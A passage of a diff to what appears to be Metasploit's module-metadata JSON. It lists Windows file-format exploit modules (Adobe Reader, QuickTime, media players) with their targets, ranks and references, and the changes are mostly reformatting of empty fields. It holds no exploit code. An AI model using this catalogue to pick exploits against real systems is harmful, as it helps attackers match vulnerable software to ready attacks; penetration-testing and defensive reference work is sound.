"autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)" ], @@ -152926,17 +136080,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_media_newplayer": { "name": "Adobe Doc.media.newPlayer Use After Free Vulnerability", "fullname": "exploit/windows/fileformat/adobe_media_newplayer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-12-14", "type": "exploit", @@ -152955,12 +136106,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows English (JS Heap Spray)", "Adobe Reader Windows German (JS Heap Spray)" @@ -152972,17 +136119,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_pdf_embedded_exe": { "name": "Adobe PDF Embedded EXE Social Engineering", "fullname": "exploit/windows/fileformat/adobe_pdf_embedded_exe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-29", "type": "exploit", @@ -153002,12 +136146,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)" ], @@ -153036,9 +136176,7 @@ "exploit_windows/fileformat/adobe_pdf_embedded_exe_nojs": { "name": "Adobe PDF Escape EXE Social Engineering (No JavaScript)", "fullname": "exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-29", "type": "exploit", @@ -153057,12 +136195,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader <= v9.3.3 (Windows XP SP3 English)" ], @@ -153073,17 +136207,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_reader_u3d": { "name": "Adobe Reader U3D Memory Corruption Vulnerability", "fullname": "exploit/windows/fileformat/adobe_reader_u3d", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-12-06", "type": "exploit", @@ -153099,40 +136230,33 @@ "OSVDB-77529", "BID-50922", "URL-http://www.adobe.com/support/security/advisories/apsa11-04.html", - "URL-http://blog.9bplus.com/analyzing-cve-2011-2462", + "URL-http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/", "URL-https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0", "URL-http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/fileformat/adobe_reader_u3d.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_reader_u3d", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_toolbutton": { "name": "Adobe Reader ToolButton Use After Free", "fullname": "exploit/windows/fileformat/adobe_toolbutton", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-08-08", "type": "exploit", @@ -153153,12 +136277,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP / Adobe Reader 9/10/11" ], @@ -153169,17 +136289,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_u3d_meshdecl": { "name": "Adobe U3D CLODProgressiveMeshDeclaration Array Overrun", "fullname": "exploit/windows/fileformat/adobe_u3d_meshdecl", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-13", "type": "exploit", @@ -153196,12 +136313,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows Universal (JS Heap Spray)" ], @@ -153212,17 +136325,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_utilprintf": { "name": "Adobe util.printf() Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_utilprintf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-08", "type": "exploit", @@ -153238,12 +136348,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.1.2 (Windows XP SP3 English)" ], @@ -153254,17 +136360,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/allplayer_m3u_bof": { "name": "ALLPlayer M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/allplayer_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-09", "type": "exploit", @@ -153288,12 +136391,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ " ALLPlayer 2.8.1 / Windows 7 SP1" ], @@ -153304,17 +136403,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/altap_salamander_pdb": { "name": "Altap Salamander 2.5 PE Viewer Buffer Overflow", "fullname": "exploit/windows/fileformat/altap_salamander_pdb", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-19", "type": "exploit", @@ -153331,12 +136427,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal Salamander 2.5" ], @@ -153347,17 +136439,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/aol_desktop_linktag": { "name": "AOL Desktop 9.6 RTX Buffer Overflow", "fullname": "exploit/windows/fileformat/aol_desktop_linktag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-31", "type": "exploit", @@ -153376,12 +136465,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "AOL Desktop 9.6 on Windows XP SP3", "AOL Desktop 9.6 on Windows XP SP3 - NX bypass", @@ -153394,17 +136479,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/aol_phobos_bof": { "name": "AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow", "fullname": "exploit/windows/fileformat/aol_phobos_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-01-20", "type": "exploit", @@ -153420,12 +136502,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], @@ -153436,17 +136514,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/apple_quicktime_pnsize": { "name": "Apple QuickTime PICT PnSize Buffer Overflow", "fullname": "exploit/windows/fileformat/apple_quicktime_pnsize", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-08-08", "type": "exploit", @@ -153464,12 +136539,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 with DEP bypass" ], @@ -153480,17 +136551,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/apple_quicktime_rdrf": { "name": "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", "fullname": "exploit/windows/fileformat/apple_quicktime_rdrf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-22", "type": "exploit", @@ -153511,12 +136579,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Quicktime 7.7.0 - 7.7.3 on Windows XP SP3" ], @@ -153527,17 +136591,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/apple_quicktime_texml": { "name": "Apple QuickTime TeXML Style Element Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/apple_quicktime_texml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-15", "type": "exploit", @@ -153558,12 +136619,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "QuickTime 7.7.1 on Windows XP SP3", "QuickTime 7.7.0 on Windows XP SP3", @@ -153576,17 +136633,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/audio_coder_m3u": { "name": "AudioCoder .M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/audio_coder_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-01", "type": "exploit", @@ -153603,12 +136657,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1" ], @@ -153619,17 +136669,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/audio_wkstn_pls": { "name": "Audio Workstation 6.4.2.4.3 pls Buffer Overflow", "fullname": "exploit/windows/fileformat/audio_wkstn_pls", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-12-08", "type": "exploit", @@ -153646,12 +136693,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -153662,17 +136705,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/audiotran_pls": { "name": "Audiotran 1.4.1 (PLS File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/audiotran_pls", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-01-09", "type": "exploit", @@ -153689,12 +136729,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -153705,17 +136741,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/audiotran_pls_1424": { "name": "Audiotran PLS File Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/audiotran_pls_1424", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-09-09", "type": "exploit", @@ -153729,12 +136762,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -153745,17 +136774,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/aviosoft_plf_buf": { "name": "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/aviosoft_plf_buf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-11-09", "type": "exploit", @@ -153771,12 +136797,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Aviosoft DTV Player 1.0.1.2" ], @@ -153787,17 +136809,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/bacnet_csv": { "name": "BACnet OPC Client Buffer Overflow", "fullname": "exploit/windows/fileformat/bacnet_csv", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-09-16", "type": "exploit", @@ -153815,12 +136834,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English", "Windows 2000 SP4 English" @@ -153832,17 +136847,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/beetel_netconfig_ini_bof": { "name": "Beetel Connection Manager NetConfig.ini Buffer Overflow", "fullname": "exploit/windows/fileformat/beetel_netconfig_ini_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-12", "type": "exploit", @@ -153858,12 +136870,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)" ], @@ -153874,17 +136882,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/blazedvd_hdtv_bof": { "name": "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability", "fullname": "exploit/windows/fileformat/blazedvd_hdtv_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-03", "type": "exploit", @@ -153901,12 +136906,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BlazeVideo HDTV Player Pro v6.6.0.3" ], @@ -153917,17 +136918,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/blazedvd_plf": { "name": "BlazeDVD 6.1 PLF Buffer Overflow", "fullname": "exploit/windows/fileformat/blazedvd_plf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-08-03", "type": "exploit", @@ -153947,12 +136945,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BlazeDVD 6.2", "BlazeDVD 5.1" @@ -153978,9 +136972,7 @@ "exploit_windows/fileformat/boxoft_wav_to_mp3": { "name": "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow", "fullname": "exploit/windows/fileformat/boxoft_wav_to_mp3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-31", "type": "exploit", @@ -153996,12 +136988,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Boxoft WAV to MP3 Converter v1.1" ], @@ -154012,17 +137000,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/bpftp_client_bps_bof": { "name": "BulletProof FTP Client BPS Buffer Overflow", "fullname": "exploit/windows/fileformat/bpftp_client_bps_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-07-24", "type": "exploit", @@ -154040,12 +137025,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -154056,17 +137037,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/bsplayer_m3u": { "name": "BS.Player 2.57 Buffer Overflow (Unicode SEH)", "fullname": "exploit/windows/fileformat/bsplayer_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-07", "type": "exploit", @@ -154082,12 +137060,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP", "Windows 7" @@ -154099,17 +137073,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ca_cab": { "name": "CA Antivirus Engine CAB Buffer Overflow", "fullname": "exploit/windows/fileformat/ca_cab", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-05", "type": "exploit", @@ -154126,12 +137097,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)" ], @@ -154142,17 +137109,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/cain_abel_4918_rdp": { "name": "Cain and Abel RDP Buffer Overflow", "fullname": "exploit/windows/fileformat/cain_abel_4918_rdp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-11-30", "type": "exploit", @@ -154169,12 +137133,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 English", "Windows XP SP0/1 English", @@ -154187,17 +137147,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/ccmplayer_m3u_bof": { "name": "CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow", "fullname": "exploit/windows/fileformat/ccmplayer_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-11-30", "type": "exploit", @@ -154213,12 +137170,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CCMPlayer 1.5" ], @@ -154229,17 +137182,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/chasys_draw_ies_bmp_bof": { "name": "Chasys Draw IES Buffer Overflow", "fullname": "exploit/windows/fileformat/chasys_draw_ies_bmp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-26", "type": "exploit", @@ -154260,12 +137210,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1" ], @@ -154276,17 +137222,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/coolpdf_image_stream_bof": { "name": "Cool PDF Image Stream Buffer Overflow", "fullname": "exploit/windows/fileformat/coolpdf_image_stream_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-18", "type": "exploit", @@ -154305,12 +137248,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3" ], @@ -154321,17 +137260,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/corelpdf_fusion_bof": { "name": "Corel PDF Fusion Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/corelpdf_fusion_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-08", "type": "exploit", @@ -154349,12 +137285,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Corel PDF Fusion 1.11 / Windows XP SP3" ], @@ -154365,17 +137297,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/csound_getnum_bof": { "name": "Csound hetro File Handling Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/csound_getnum_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-23", "type": "exploit", @@ -154394,12 +137323,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Csound 5.15 / Windows XP SP3 / Windows 7 SP1" ], @@ -154410,17 +137335,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/cutezip_bof": { "name": "GlobalSCAPE CuteZIP Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/cutezip_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-12", "type": "exploit", @@ -154437,12 +137359,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CuteZIP 2.1 / Windows Universal" ], @@ -154453,17 +137371,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/cve_2017_8464_lnk_rce": { "name": "LNK Code Execution Vulnerability", "fullname": "exploit/windows/fileformat/cve_2017_8464_lnk_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-06-13", "type": "exploit", @@ -154484,12 +137399,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows x64", @@ -154513,9 +137424,7 @@ "exploit_windows/fileformat/cyberlink_lpp_bof": { "name": "CyberLink LabelPrint 2.5 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/cyberlink_lpp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-09-23", "type": "exploit", @@ -154531,12 +137440,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)", "CyberLink LabelPrint <= 2.5 on Windows 8.1 x64", @@ -154549,17 +137454,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/cyberlink_p2g_bof": { "name": "CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit", "fullname": "exploit/windows/fileformat/cyberlink_p2g_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-09-12", "type": "exploit", @@ -154578,12 +137480,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CyberLink Power2Go 8 (XP/Vista/win7) Universal" ], @@ -154594,17 +137492,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/cytel_studio_cy3": { "name": "Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/cytel_studio_cy3", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-10-02", "type": "exploit", @@ -154621,12 +137516,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cytel Studio 9.0" ], @@ -154637,17 +137528,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/deepburner_path": { "name": "AstonSoft DeepBurner (DBR File) Path Buffer Overflow", "fullname": "exploit/windows/fileformat/deepburner_path", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-12-19", "type": "exploit", @@ -154668,12 +137556,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -154684,17 +137568,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/destinymediaplayer16": { "name": "Destiny Media Player 1.61 PLS M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/destinymediaplayer16", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-03", "type": "exploit", @@ -154711,12 +137592,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Destiny Universal", "Windows XP SP2 Spanish" @@ -154728,17 +137605,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/digital_music_pad_pls": { "name": "Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/digital_music_pad_pls", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-17", "type": "exploit", @@ -154754,12 +137628,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2" ], @@ -154770,17 +137640,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/djstudio_pls_bof": { "name": "DJ Studio Pro 5.1 .pls Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/djstudio_pls_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-12-30", "type": "exploit", @@ -154797,12 +137664,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DJ Studio Pro 5.1.6.5.2" ], @@ -154813,17 +137676,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/djvu_imageurl": { "name": "DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow", "fullname": "exploit/windows/fileformat/djvu_imageurl", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-10-30", "type": "exploit", @@ -154839,12 +137699,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -154855,17 +137711,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/documalis_pdf_editor_and_scanner": { "name": "Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow", "fullname": 